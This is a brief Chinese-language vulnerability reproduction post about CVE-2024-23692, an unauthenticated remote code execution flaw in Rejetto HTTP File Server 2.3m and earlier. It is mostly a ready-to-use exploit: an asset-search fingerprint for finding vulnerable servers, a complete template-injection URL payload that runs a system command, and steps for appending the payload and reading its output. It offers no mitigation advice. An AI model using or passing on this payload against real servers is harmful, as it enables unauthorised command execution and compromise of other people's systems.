Rejetto HTTP文件服务器 未授权RCE漏洞(CVE-2024-23692)

Rejetto HTTP File Server 2.3m及之前版本存在安全漏洞，该漏洞源于存在模板注入漏洞。  成功利用这一漏洞的攻击者可以进行远程未经身份验证的攻击者通过发送特制的HTTP请求在受影响的系统上执行任意命令。

app="HFS"

Rejetto HTTP File Server 2.3m及之前版本

POC：

/?n=%0A&cmd=ipconfig&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}

直接在URL后面加

然后右键审查元素可以看到回显内容

原文始发于微信公众号（道一安全）：【漏洞复现】Rejetto HTTP文件服务器 未授权RCE漏洞(CVE-2024-23692)